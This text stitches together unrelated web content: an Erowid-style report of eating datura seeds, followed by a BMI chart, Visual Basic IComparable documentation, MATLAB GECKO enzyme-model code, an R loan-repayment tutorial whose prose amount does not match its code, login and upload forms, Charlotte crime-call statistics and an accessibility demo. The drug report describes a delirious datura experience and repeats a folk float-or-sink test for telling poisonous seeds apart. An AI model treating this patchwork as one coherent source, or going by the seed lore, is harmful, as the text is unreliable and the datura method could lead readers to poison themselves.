Also, some half-baked methodology was told to me of having to put the seeds from the pod into water, this apparently seperated the 'good' seeds from the 'bad' seeds by a process of sinking or floating. The distinction of 'bad' was understood to mean poisonous.
Unfortunately there was no clarity on whether the good seeds would float or sink, so the philosophy was advanced that since the method would leave us with a 50/50 chance of choosing ALL good or ALL bad seeds, it would be better to rather dispense with the method altogether and just eat all the seeds, thereby softening the blow of a possible poison attack. Good work team!
It was an interesting situation the day I ate the seeds. I was a boarder at my school and had a day off school with virtually nobody in the dormitory, this was due to the exam timetable leaving a few days free at which opportunity most of the people went home. My home was too far away to justify this so I stayed.
I made an illegal journey out of the school grounds with a friend to go and buy some Weed but we didn't remember the directions very well and got a bit lost. We happened to walk passed a Datura plant which grows along the way and I remembered that I had some dried seeds in my cupboard at the dorm so the decision was taken to 'try some.'
- The Seeds -
I had half a handfull of seeds approx. on a relatively empty stomach. It was winter. Spent time throwing a large tins plastic lid as a frisbee in the dorm waiting for the effects with friend. First effects, a very dry mouth and the 'off' feeling sometimes accomponied with the flu. About 45 minutes in I decided to walk up to the school to obtain energy drink and pie at canteen.
First mental effects were like being stoned and I sat on the side of the road leading up to the school to enjoy it. Memory is effected from this point on and I can only give flashes as I remember things. After a blank spot I got back to the dorm with pie and drink but mouth was too dry to swallow either.  These two things set me worrying and for the rest of the day things took a cold and lonely menacing character. It was about 10:30am.
I still do not know what happened to my friend but apparently he didn't feel anything and drifted off to chill with some other friends, totally unaware of my situation. So negative introspection and isolation were in order and I wandered off to the school sports field.
On the way, and whenever I was walking, my foot seemed to slip through an oil patch with a nasty jerk and I would closely inspect the ground for this oil patch but would not find it. Somehow I registered that because my eyesight was affected by the seeds maybe I could not see the oil patch, that the oil patch might not be real did not occur to me. And so it was with my hallucinations throughout the day, I would take it for granted that they were real, but if it were proven unreal it simply added to the negative menacing backdrop to the whole scene. I would rather attempt to find the reality of the hallucinations than admit that something was seriously wrong with my world.
The next memory is of a gigantic network of insect populations crawling into and out of a shadow which fell across a painted concrete wall. The image persisted for a long while until a banging noise interrupted my reverie and I realised I was actually sitting on the grandstand watching people on the sports field. That kind of thing would occur too, I would lose awareness and float inside a perception, somewhat pleasant, until it broke and the cold loneliness would be felt stronger with each return of it.
The closest thing I've experienced to it is delerious thoughts during sickness or fever, but on a bigger scale.
 I may have attempted sleeping because I remember getting up from a lying position, the stands were metal and ice, ice cold. I was astounded to find that my feet weighed near 8 kilograms each, I think that's about 4 pounds? Very heavy.
Now the memory is flooded with conversations that I tried to add to but found myself talking aloud to no one, an extremely lonely and confusing feeling. I remember a long conversation with a person which was different in that he was vividly real and I am still tempted to think that he WAS real because we talked about the seeds and how I was high etc. it's just that this person had left the school about a year earlier. If it was an hallucination than it was an awesome accomplishment of the human mind.
At some point I was in bed watching my cupboard float up and down and left and right and up and down etc. in reverie again, when I felt the need to chase after a shadow I saw a from the corner of my vision, some quick and sinister thing. Each time I turned a corner it turned some corner up ahead. The last thing it zipped into as I turned a corner was the dark cavity underneath some ones bed, scared shitless I got back to my blankets without looking under that bed. Spiders crawled underneath my blankets up towards my face...
Even with the dormitory so empty and the hostel masters all up the school I was extremely lucky to stay out of trouble. There were signs that stuff happened which I don't remember, like grass down the back of my jersey and posters that were found in the dustbin. Other things I remember: showering and passing somebody shampoo and hearing the bottle hit the floor - nobody in the next stall to pass to - and talking to people who would vanish into thin air, visual ghosts at the edge of vision, and small reveries in emersive visualisations, they all happened in front of that cold aweful lonely emotional background. Even the fright aspects were flat and lonely, cold. It occured to me at some point that I was walking around hell. This feeling left me soul stunned.
- Book -
A little bit of heavan floated down out of the darkness as I was exhaustedly drifing off that night. Some kind of book appeared with impressive clarity, like the ultimate reverie and it wiped all traces of the cold and lonely away, leaving me struck with a fresh smiling amazement.
I remember nothing as to the content of the book, but to read from it was the most satisfying thing in the world. I can't relate any experience to it other then religious ones I've had at other times. But more so.
I could experiment with the book, like looking ahead from the line I was reading to the upcoming paragraph indentations to see if they would be the same by the time I got to them. They would stay the same, though if I jumped ahead the words would appear all jumbled and unreadable. I could think to myself, 'I have to remember what I'm reading, this book has everything I need to know' but as soon as I got to the end of a page, I would wake up with my hand shooting into the air trying to turn the page. I would forget what I was reading instantly.
Some one else I know has also had a similar experience when he tried Datura despite my warnings. (He would have a much worse experience than mine.) But the fact that two people can hallucinate something so similar and be so awestruck by it makes me think that it must be more than just an hallucination. I never told him of the book so he hallucinated it independently of any suggestion.
I think I've made this too long. I'll just say that my eyesight was still bad the next day, and without being able to study the previous day I ended up with 12% for math. If you are going to experiment with anything, be clever, respectful, patient and willing to not do it. My opinion is don't try Datura, try something else. The rewards are not worth the effort and danger. I thought the book was most excellent, but I will never go through that cold loneliness to get to it again.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Enter your height:
Enter your weight:
| weight category | BMI range |
|---|---|
| underweight | below 18.5 |
| Normal weight | 18.5 - 24.9 |
| Over weight | 25.0 - 29.9 |
| Grade I obesity | 30.0 - 34.9 |
| Grade II obesity | 35.0 - 39.9 |
| Grade III obesity | above 40 |
A frequently used index to assess a person's body composition (or amount of body fat) is called the body mass index, or BMI. This assessment compares your body weight to your height to come up with a value that indicates whether you are underweight, normal weight, overweight, or obese.  Obesity-related diseases include heart disease, type 2 diabetes, hypertension, and stroke. Thus, working toward weight loss if you are overweight or obese can have a profound positive effect on your health. The table above provides established BMI norms based on various categories of health and fitness. For most people, BMI is a quick and easy way to assess body composition, which is why it is so commonly used. However, since body weight (and not percent body fat) is used in determining BMI, there may be problems when using BMI to assess people who are heavily muscled (such as body builders) or who have an athletic body type. Because muscle weighs more than fat, those who have well-developed muscles typically appear overweight or obese according to the BMI reference chart. If you are a person with an athletic or muscular build, do not use BMI as the only method to assess your body composition. An estimation of body fat using the skinfold method would be a more accurate choice.


@remarks The CompareTo method is implemented by types whose values can be ordered or sorted. It is called automatically by methods of collection objects, such as CorArray.Sort, to order each member of the array. If a custom class does not implement IComparable, its members cannot be ordered and the sort operation can throw an InvalidOperationException.
This method is only a definition and must be implemented by a specific class or value type to have effect. The meaning of the comparisons specified in the Return Value section ("precedes", "occurs in the same position as", and "follows") depends on the particular implementation.
By definition, any object compares greater than (or follows) Nothing, and two Nothing references compare equal to each other.
The parameter, Value, must be the same type as the class or value type that implements this interface; otherwise, an ArgumentException is thrown.
@exceptions| Exception | Condition |
|---|---|
| ArgumentException | Value is not of the same type as this instance. |
There are two modules created for this example. A BAS module containing the Main method and a Class module implementing the IComparable interface.
The following is a Visual Basic Class module named Temperature.
Option Explicit Implements IComparable Private mTemperatureF As Double Public Function CompareTo(ByRef Value As Variant) As Long Dim Other As Temperature On Error GoTo Catch Set Other = Value If Other Is Nothing Then CompareTo = 1 Else CompareTo = Comparer.Default.Compare(mTemperatureF, Other.Fahrenheit) End If Exit Function Catch: Throw NewArgumentException("Value is not a Temperature") End Function Public Property Get Fahrenheit() As Double Fahrenheit = mTemperatureF End Property Public Property Let Fahrenheit(ByVal Value As Double) mTemperatureF = Value End Property Public Property Get Celsius() As Double Celsius = (mTemperatureF - 32) * (5# / 9#) End Property Public Property Let Celsius(ByVal Value As Double) mTemperatureF = (Value * 9# / 5#) + 32 End Property ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' IComparable ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Private Function IComparable_CompareTo(Value As Variant) As Long IComparable_CompareTo = CompareTo(Value) End Function
The following is a Visual Basic BAS module containing Main start-up method.
Public Sub Main() Dim Temperatures As New ArrayList Dim r As New Random Dim i As Long Dim Degrees As Double Dim Temp As Temperature For i = 1 To 10 Degrees = r.NextRange(0, 100) Set Temp = New Temperature Temp.Fahrenheit = Degrees Temperatures.Add Temp Next Temperatures.Sort For Each Temp In Temperatures Debug.Print Temp.Fahrenheit Next End Sub ' This code produces the following output (individual values may vary because they are randomly generated): ' ' 13 ' 18 ' 31 ' 36 ' 65 ' 65 ' 66 ' 78 ' 92 ' 98


New password day! Also known as "please don't mistype too often and lock me out of my computer" day.
5/11/2010, 10:33:35 AM
Favs: 0
Retweets: 0
link--- layout: tweet ---
New password day! Also known as "please don't mistype too often and lock me out of my computer" day.
5/11/2010, 10:33:35 AM
Favs: 0
Retweets: 0
link


Cognoma
Classifiers
New
Open
Open Recent
Save
Save As
Close
Exit
Results
Results for Current Classifier
Status of Recent Classifiers
Status of All Classifiers
Completed Classifiers
Help
Contents
Search
Tutorials
Gene Documentation
Sample Documentation
Algorithm Documentation
License
About Us
Profile
Log Out


getStandardKcat Calculate an standard kcat and standard molecular weight (MW) that can be used to apply enzyme constraints to reactions without any associated genes. This is done by adding those reactions to model.ec, assign a "standard" pseudoenzyme with the standard MW (median of all proteins in the organism) and standard kcat (median from all kcat, or subsystem specific kcat). A reaction is assigned a subSystem specific kcat values if the model has a subSystems field and the reaction is annotated with a subSystem. Only the first subSystem will be considered if multiple are annotated to the same reaction. Exchange, transport and pseudoreactions are filtered out, plus any reaction identifiers specified in /data/pseudoRxns.tsv in the model adapter folder. In addition, reactions that are annotated with an enzyme (and therefore already in model.ec), but not assigned any reaction-specific kcat value (their model.ec.kcat entry is either 0 or NaN), can be assigned standard kcat values by a similar approach. However, those reactions will not be linked to the "standard" pseudoenzyme, but will use the enzyme that they had already been associated with. Any pre-existing standard kcat assignments (identified by 'standard' entires in model.ec.source) are removed when applying this function. Input: model an ecModel in GECKO 3 format (with ecModel.ec structure) modelAdapter a loaded model adapter (Optional, will otherwise use the default model adapter). threshold a threshold to determine when use a kcat value based on the mean kcat of the reactions in the same subSystem or based on the median value of all the kcat in the model. Second option is used when the number of reactions in a determined subSystem is < threshold. (Optional, default = 10) fillZeroKcat logical whether zero kcat values should be replaced with standard kcat values. (Optional, default = true). Output: model ecModel where model.ec is expanded with a standard protein with standard kcat and standard MW, assigned to reactions without gene associations. rxnsMissingGPR a list of updated rxns identifiers with a standard value standardMW the standard MW value calculated standardKcat the standard Kcat value calculated rxnsNoKcat a list of rxns identifiers whose zero kcat has been replaced While model.ec.kcat is populated, applyKcatConstraints would still need to be run to apply the new constraints to the S-matrix. Usage: [model, rxnsMissingGPR, standardMW, standardKcat, rxnsNoKcat] = getStandardKcat(model, modelAdapter, threshold, fillZeroKcat);
0001 function [model, rxnsMissingGPR, standardMW, standardKcat, rxnsNoKcat] = getStandardKcat(model, modelAdapter, threshold, fillZeroKcat) 0002 % getStandardKcat 0003 % Calculate an standard kcat and standard molecular weight (MW) that can be 0004 % used to apply enzyme constraints to reactions without any associated genes. 0005 % This is done by adding those reactions to model.ec, assign a "standard" 0006 % pseudoenzyme with the standard MW (median of all proteins in the organism) 0007 % and standard kcat (median from all kcat, or subsystem specific kcat). 0008 % 0009 % A reaction is assigned a subSystem specific kcat values if the model 0010 % has a subSystems field and the reaction is annotated with a subSystem. 0011 % Only the first subSystem will be considered if multiple are annotated 0012 % to the same reaction. 0013 % 0014 % Exchange, transport and pseudoreactions are filtered out, plus any 0015 % reaction identifiers specified in /data/pseudoRxns.tsv in the model 0016 % adapter folder. 0017 % 0018 % In addition, reactions that are annotated with an enzyme (and therefore 0019 % already in model.ec), but not assigned any reaction-specific kcat value 0020 % (their model.ec.kcat entry is either 0 or NaN), can be assigned standard 0021 % kcat values by a similar approach. However, those reactions will not be 0022 % linked to the "standard" pseudoenzyme, but will use the enzyme that they had 0023 % already been associated with. 0024 % 0025 % Any pre-existing standard kcat assignments (identified by 'standard' 0026 % entires in model.ec.source) are removed when applying this function. 0027 % 0028 % Input: 0029 % model an ecModel in GECKO 3 format (with ecModel.ec structure) 0030 % modelAdapter a loaded model adapter (Optional, will otherwise use the 0031 % default model adapter). 0032 % threshold a threshold to determine when use a kcat value based on 0033 % the mean kcat of the reactions in the same subSystem or 0034 % based on the median value of all the kcat in the model. 0035 % Second option is used when the number of reactions in a 0036 % determined subSystem is < threshold. (Optional, default = 10) 0037 % fillZeroKcat logical whether zero kcat values should be replaced with 0038 % standard kcat values. (Optional, default = true). 0039 % 0040 % Output: 0041 % model ecModel where model.ec is expanded with a standard 0042 % protein with standard kcat and standard MW, assigned to 0043 % reactions without gene associations. 0044 % rxnsMissingGPR a list of updated rxns identifiers with a standard value 0045 % standardMW the standard MW value calculated 0046 % standardKcat the standard Kcat value calculated 0047 % rxnsNoKcat a list of rxns identifiers whose zero kcat has been replaced 0048 % 0049 % While model.ec.kcat is populated, applyKcatConstraints would still need to 0050 % be run to apply the new constraints to the S-matrix. 0051 % 0052 % Usage: 0053 % [model, rxnsMissingGPR, standardMW, standardKcat, rxnsNoKcat] = getStandardKcat(model, modelAdapter, threshold, fillZeroKcat); 0054 0055 if nargin < 2 || isempty(modelAdapter) 0056 modelAdapter = ModelAdapterManager.getDefault(); 0057 if isempty(modelAdapter) 0058 error('Either send in a modelAdapter or set the default model adapter in the ModelAdapterManager.') 0059 end 0060 end 0061 params = modelAdapter.getParameters(); 0062 0063 if nargin < 3 || isempty(threshold) 0064 threshold = 10; 0065 end 0066 0067 if nargin < 4 || isempty(fillZeroKcat) 0068 fillZeroKcat = true; 0069 end 0070 0071 databases = loadDatabases('uniprot', modelAdapter); 0072 0073 % An standard MW is defined for all the rxns which does not have a GPR 0074 % rule defined. This is based in all the proteins reported for the specific 0075 % organism in uniprot 0076 standardMW = median(databases.uniprot.MW, 'omitnan'); 0077 0078 % An standard Kcat is defined for all the rxns which does not have a GPR 0079 % rule defined. In this case, the kcat value for a particular reaction is 0080 % defined as the mean of the kcat values of the reactions involved in the 0081 % same subsystem in which the given reaction is involved. Nevertheless, if 0082 % a subSystem have a number of reactions lower than a treshold, the kcat 0083 % value will be the median of the kcat in all the reactions of the model. 0084 0085 % Remove from the list those with kcat zero 0086 rxnsKcatZero = model.ec.kcat > 0; 0087 0088 % Get the kcat value based on all the kcats in the model 0089 standardKcat = median(model.ec.kcat(rxnsKcatZero), 'omitnan'); 0090 0091 % If the model have subSystems assigned calculate kcat based on subSystem 0092 if isfield(model,'subSystems') && ~all(cellfun(@isempty, model.subSystems)) 0093 standard = false; 0094 if model.ec.geckoLight 0095 modRxns = extractAfter(model.ec.rxns,4); 0096 else 0097 modRxns = model.ec.rxns; 0098 end 0099 % Map ec-rxns to model.rxns 0100 [~,rxnIdx] = ismember(modRxns,model.rxns); 0101 % Choose first subSystem 0102 enzSubSystems = flattenCell(model.subSystems(rxnIdx)); 0103 enzSubSystems = enzSubSystems(:,1); 0104 if ~all(cellfun(@isempty, enzSubSystems)) 0105 0106 % Make list of unique subsystems, and which rxns are linked to them 0107 [enzSubSystem_names, ~, rxnToSub] = unique(enzSubSystems); 0108 % Make matrix of ec-rxns vs. unique subsystem index 0109 ind = sub2ind([numel(enzSubSystem_names) numel(enzSubSystems)],rxnToSub',1:numel(rxnToSub)); 0110 kcatSubSystem = false([numel(enzSubSystem_names) numel(enzSubSystems)]); 0111 kcatSubSystem(ind) = true; 0112 % Number of kcats per subSystem 0113 kcatsPerSubSystem = sum(kcatSubSystem,2); 0114 % Calculate average kcat values per subSystem 0115 kcatSubSystem = (kcatSubSystem*model.ec.kcat)./kcatsPerSubSystem; 0116 kcatSubSystem(kcatsPerSubSystem < threshold) = standardKcat; 0117 else 0118 standard = true; 0119 printOrange('WARNING: No subSystem-specific kcat values can be calculated') 0120 end 0121 else 0122 standard = true; 0123 printOrange('WARNING: No subSystem-specific kcat values can be calculated') 0124 end 0125 0126 % Find reactions without GPR 0127 rxnsMissingGPR = find(cellfun(@isempty, model.grRules)); 0128 0129 % Get custom list of reaction IDs to ignore, if existing. First column 0130 % contains reaction IDs, second column contains reaction names for 0131 % reference only. 0132 if exist(fullfile(params.path,'data','pseudoRxns.tsv'),'file') 0133 fID = fopen(fullfile(params.path,'data','pseudoRxns.tsv')); 0134 fileData = textscan(fID,'%s %s','delimiter','\t'); 0135 fclose(fID); 0136 customRxns = fileData{1}; 0137 customRxns = find(ismember(model.rxns,customRxns)); 0138 else 0139 customRxns = []; 0140 end 0141 % Get and remove exchange, transport, spontaneous and pseudo reactions 0142 [~, exchangeRxns] = getExchangeRxns(model); 0143 transportRxns = getTransportRxns(model); 0144 [spontaneousRxns, ~] = modelAdapter.getSpontaneousReactions(model); 0145 pseudoRxns = contains(model.rxnNames,'pseudoreaction'); 0146 slimeRxns = contains(model.rxnNames,'SLIME rxn'); 0147 rxnsToIgnore = [customRxns; exchangeRxns; find(transportRxns); ... 0148 find(spontaneousRxns); find(pseudoRxns); find(slimeRxns)]; 0149 rxnsMissingGPR(ismember(rxnsMissingGPR, rxnsToIgnore)) = []; 0150 0151 % Only add if not geckoLight & getStandardKcat was not run earlier 0152 if ~any(strcmp(model.mets,'prot_standard')) 0153 % Add a new gene to be consistent with ec field named standard 0154 proteinStdGenes.genes = 'standard'; 0155 if isfield(model,'geneShortNames') 0156 proteinStdGenes.geneShortNames = 'std'; 0157 end 0158 model = addGenesRaven(model, proteinStdGenes); 0159 0160 if ~model.ec.geckoLight 0161 % Add a new metabolite named prot_standard 0162 proteinStdMets.mets = 'prot_standard'; 0163 proteinStdMets.metNames = proteinStdMets.mets; 0164 proteinStdMets.compartments = 'c'; 0165 if isfield(model,'metNotes') 0166 proteinStdMets.metNotes = 'Standard enzyme-usage pseudometabolite'; 0167 end 0168 model = addMets(model, proteinStdMets); 0169 0170 % Add a protein usage reaction if not a light version 0171 proteinStdUsageRxn.rxns = {'usage_prot_standard'}; 0172 proteinStdUsageRxn.rxnNames = proteinStdUsageRxn.rxns; 0173 proteinStdUsageRxn.mets = {proteinStdMets.mets, 'prot_pool'}; 0174 proteinStdUsageRxn.stoichCoeffs = [-1, 1]; 0175 proteinStdUsageRxn.lb = -1000; 0176 proteinStdUsageRxn.ub = 0; 0177 proteinStdUsageRxn.grRules = proteinStdGenes.genes; 0178 0179 model = addRxns(model, proteinStdUsageRxn); 0180 end 0181 % Update .ec structure in model 0182 model.ec.genes(end+1) = {'standard'}; 0183 model.ec.enzymes(end+1) = {'standard'}; 0184 model.ec.mw(end+1) = standardMW; 0185 model.ec.sequence(end+1) = {''}; 0186 % Additional info 0187 if isfield(model.ec,'concs') 0188 model.ec.concs(end+1) = nan(); 0189 end 0190 0191 % Expand the enzyme rxns matrix 0192 model.ec.rxnEnzMat = [model.ec.rxnEnzMat, zeros(length(model.ec.rxns), 1)]; % 1 new enzyme 0193 model.ec.rxnEnzMat = [model.ec.rxnEnzMat; zeros(length(rxnsMissingGPR), length(model.ec.enzymes))]; % new rxns 0194 end 0195 numRxns = length(model.ec.rxns); 0196 stdMetIdx = find(strcmpi(model.ec.enzymes, 'standard')); 0197 0198 % Remove previous standard kcat assignment 0199 oldStandardEnz = find(strcmp(model.ec.source,'standard')); 0200 if ~isempty(oldStandardEnz) 0201 model.ec.rxns(oldStandardEnz) = []; 0202 model.ec.kcat(oldStandardEnz) = []; 0203 model.ec.source(oldStandardEnz) = []; 0204 model.ec.notes(oldStandardEnz) = []; 0205 model.ec.eccodes(oldStandardEnz) = []; 0206 model.ec.rxnEnzMat(oldStandardEnz,:) = []; 0207 end 0208 0209 for i = 1:numel(rxnsMissingGPR) 0210 rxnIdx = rxnsMissingGPR(i); 0211 0212 % Update .ec structure in model 0213 if ~model.ec.geckoLight 0214 model.ec.rxns(end+1) = model.rxns(rxnIdx); 0215 % Add prefix in case is light version 0216 else 0217 model.ec.rxns{end+1} = ['001_' model.rxns{rxnIdx}]; 0218 end 0219 0220 if ~standard 0221 kcatSubSystemIdx = strcmpi(enzSubSystem_names, model.subSystems{rxnIdx}(1)); 0222 if all(kcatSubSystemIdx) 0223 model.ec.kcat(end+1) = kcatSubSystem(kcatSubSystemIdx); 0224 else 0225 model.ec.kcat(end+1) = standardKcat; 0226 end 0227 else 0228 model.ec.kcat(end+1) = standardKcat; 0229 end 0230 0231 model.ec.source(end+1) = {'standard'}; 0232 model.ec.notes(end+1) = {''}; 0233 model.ec.eccodes(end+1) = {''}; 0234 0235 % Update the enzyme rxns matrix 0236 model.ec.rxnEnzMat(numRxns+i, stdMetIdx) = 1; 0237 end 0238 % Get the rxns identifiers of the updated rxns 0239 rxnsMissingGPR = model.rxns(rxnsMissingGPR); 0240 0241 if fillZeroKcat 0242 zeroKcat = model.ec.kcat == 0 | isnan(model.ec.kcat); 0243 model.ec.kcat(zeroKcat) = standardKcat; 0244 model.ec.source(zeroKcat) = {'standard'}; 0245 rxnsNoKcat = model.ec.rxns(zeroKcat); 0246 else 0247 rxnsNoKcat = []; 0248 end 0249 end 0250 0251 function Cflat = flattenCell(C,strFlag) 0252 %FLATTENCELL Flatten a nested column cell array into a matrix cell array. 0253 % 0254 % CFLAT = FLATTENCELL(C) takes a column cell array in which one or more 0255 % entries is a nested cell array, and flattens it into a 2D matrix cell 0256 % array, where the nested entries are spread across new columns. 0257 % 0258 % CFLAT = FLATTENCELL(C,STRFLAG) if STRFLAG is TRUE, empty entries in the 0259 % resulting CFLAT will be replaced with empty strings {''}. Default = FALSE 0260 if nargin < 2 0261 strFlag = false; 0262 end 0263 0264 % determine which entries are cells 0265 cells = cellfun(@iscell,C); 0266 0267 % determine number of elements in each nested cell 0268 cellsizes = cellfun(@numel,C); 0269 cellsizes(~cells) = 1; % ignore non-cell entries 0270 0271 % flatten single-entry cells 0272 Cflat = C; 0273 Cflat(cells & (cellsizes == 1)) = cellfun(@(x) x{1},Cflat(cells & (cellsizes == 1)),'UniformOutput',false); 0274 0275 % iterate through multi-entry cells 0276 multiCells = find(cellsizes > 1); 0277 for i = 1:length(multiCells) 0278 cellContents = Cflat{multiCells(i)}; 0279 Cflat(multiCells(i),1:length(cellContents)) = cellContents; 0280 end 0281 0282 % change empty elements to strings, if specified 0283 if ( strFlag ) 0284 Cflat(cellfun(@isempty,Cflat)) = {''}; 0285 end 0286 end


R Objects
Learning objectives
In this section, you will learn to store objects (think of variables, functions, datasets) into the R workspace (think of a place where R stores all its objects) and use the stored objects to solve a question about repayments of loans.
R Objects using an example
To do this we will use the R programme we have just installed. Launch the R program (for example, by clicking at the R icon present in your desktop).
Let’s start with objects and functions using a very simple example.
Suppose you want to know how much you will have to pay to the bank if you borrow an amount $ L $ and you intend to reimburse a fixed amount over a period of \(N\) months, and the bank intend to charge you an annual interest rate \(r\).
There are different ways to consider this problem, but today we will rely on the textbook formula to calculate this
$$ m = L . \frac{(\frac{r}{1200})(1 +\frac{r}{1200})^N}{(1+ \frac{r}{1200})^N -1 } $$
One advantage of programming language is that we can define variables and keep such expressions general. So, if we are asked to answer this question when borrowing 2000$ for 24 months at an interest of 6% per year, we can define \(L\) to be \(10000\), \(N\) to be \(24\), and \(r\) to be \(6\).
In R, we do that using the assignment symbol <-
, which is less than followed by a minus. Note that it looks like a little arrow. L <- 10000
means that you’re assigning the number 10000 to the variable named L.
Note: We coud also use =
the equals sign for assignment, but we recommend against it, because using it can cause confusion.
Try it out in your console.
L <- 10000
N <- 24
r <- 6
Note that R does not print anything out when you make these assignments.
Had you made a mistake, you would have received an error message. For example, if you forgot the minus sign to make a complete arrow and get the assignment right, you will receive an error message. For example, try this:
u < 24
## Error in eval(expr, envir, enclos): object 'u' not found
To see the value stored in \(L\), variable we simply type a in the console.
L
## [1] 10000
And when we hit the Return key, R shows us the value stored in \(L\), which is \(10000\).
As we define objects in the console, we are actually changing what is called the workspace. You can see all the variables saved in your workspace by typing ls()
.
ls
is a predefined R function that shows you the names of the objects saved in your workspace. By predefined, we mean that you can use them without having to load an additional package, or to define them by yourself.
Just type it in your console:
ls()
## [1] "L" "N" "r"
Since the problem parameters are saved in variables, to obtain a solution, we can use the variables directly.
To be able to calculate the formula, we will again rely on R predefined operators /
,^
, and *
.
L * (r/1200) *(1+r/1200)^N / ((1 + r/1200)^N - 1)
## [1] 443.2061
Note that simply typing the formula with the variables gives you the solution, but does not store it into the workspace. If you want to use the solutions obtained for further calculations, you need to assign them to other variables.
m <- L * (r/1200) *(1+r/1200)^N / ((1 + r/1200)^N - 1)
Again the solutions are not printed out to your console, but they are stored in the workspace and ready to be used for further work.
As a small trick, if you want to store the value to the workspace and at the same time see the result on the console, you can surround your assignment with brackets:
(m <- L * (r/1200) *(1+r/1200)^N / ((1 + r/1200)^N - 1))
## [1] 443.2061
(extra <- (m * N) - L )
## [1] 636.9465
In any case, if you did things correctly you should get<PHONE_NUMBER> to be paid per month, and paid an extra<PHONE_NUMBER> to your banker to get access to that money immediately !
The Figure 1 shows how your console should look like at the end of this session if you followed all the instructions.
Additional resources
There are many resources available over the internet. Here we suggest two specific pages of the Tutorialpoints website that are giving more details about the names of variables, and the predefined operators R.
Exercises
Ex. 1: Play with variables
- Create two new variables \(i\) and \(j\) and assign them the values 1 and 2 respectively
- Create a new variable
sinij
that stores the value of sinus of the sum of i and j (tips: browse the internet to figure out how the sinus function is defined in base R) - Display the variable
sinij
on your console
Ex. 2: Add the first 100 integers.
We know that the sum of the first \(n\) integers is given by the formula \(\frac{n (n+1)}{2}\)
- Create a variable \(n\) and assign the value 10
- Calculate the sum of the 10 first integers and store it in a variable
s10
- Calculate the sum of the 100 first integers
- You can see that this exercise can be repetitive and it will be useful to develop a specific function that would avoid repetitions.


Welcome to
MAHRUD University
MAHRUD University Online
Log in as a Professor
Log in as a Student
Log in as an Administrator
About this site


Add .g file that you want to upload
What you want to be known as around
Provide a short description about your model
An image that will be used as a thumbnail for your model, the preferred size is 500 X 300


Disorder-related calls per 1,000 residents
Disorder-related offenses, such as public intoxication, fighting, disturbing the peace and drug possession, adversely impact the health and safety of residents. While disorder and crime are not directly linked, the presence of disorder in a community may lead to increased fear and withdrawal from residents, which may then allow more serious crime to move in because of decreased levels of social control.
Tracking disorder-related calls can assist neighborhoods and residents in identifying repeated problems and developing strategies to address them. Increases in number of calls may signify increased disorder or show signs of increased neighborhood engagement and concern. Spikes in the number of disorder-related calls may also reflect special events, such as street festivals or sporting events.
Suspicious person or vehicle was the number one disorder-related type call, with 35% of the calls. Other categories include disturbance (26%), loitering (12%), noise complaint (10%), drug-related (7%), and all others (10%).
####Related Variables
Crime - Property
Crime - Violent
Nuisance Violations
Housing Code Violations
311 Requests
Population Density
The number of disorder-related calls for service divided by the population, multiplied by 1,000.
Disorder-related calls include ABC violations, armed person, armed to the terror of public, carrying concealed weapon, disturbance, drug paraphernalia, drug possession, prescription fraud, drug sale/purchase, fight, intoxicated person, loitering, noise complaint, overdose, prostitution, public urination, suspicious person, suspicious vehicle, trash/littering, and trespass.
Source: Charlotte-Mecklenburg Police Department; Cornelius Police Department
| Take Action | |
|---|---|
| Start a Neighborhood Watch Program | Get your community involved in crime prevention. |
| Prevent Crime | Practice the actions and practices that prevent crime and increase safety. |
| Crime Stoppers | Anonymously report a crime tip to CMPD |
| Report a Streetlight Outage | Keep the lights on by contacting Duke Energy to repair and replace street lamps that are not functioning properly |
| Learn More | |
|---|---|
| CMPD Crime Statistics | Up-to-date and historical information on crimes across Charlotte-Mecklenburg |
| Crime Mapping | See where crimes are occurring and sign up for crime alerts in your neighborhood. |
| Crime in the U.S. | Comprehensive analysis of property and violent crime across the nation |
| What Works in Policing | Research evidence and resource library for what really works to address crime and disorder |
| Local Police Departments | Visit the Police Department for: Charlotte, Cornelius, Davidson, Huntersville, Matthews, Mint Hill, and Pineville. |


Simple Interest Calculator
Amount
Rate
1
%
No. of Years
1
2
3
4
5
6
7
8
9
10
Compute Interest
Ⓒ Everyone Can Get Rich


Accessible cards
List semantics
No redundant linking, only 1 link per target
Focus management after load
Live region - on list change
-
Donald 1
Contact is a very nice person we like to help his fellow friends achieve their goals -
Donald 2
Contact is a very nice person we like to help his fellow friends achieve their goals -
Donald 3
Contact is a very nice person we like to help his fellow friends achieve their goals -
Donald 4
Contact is a very nice person we like to help his fellow friends achieve their goals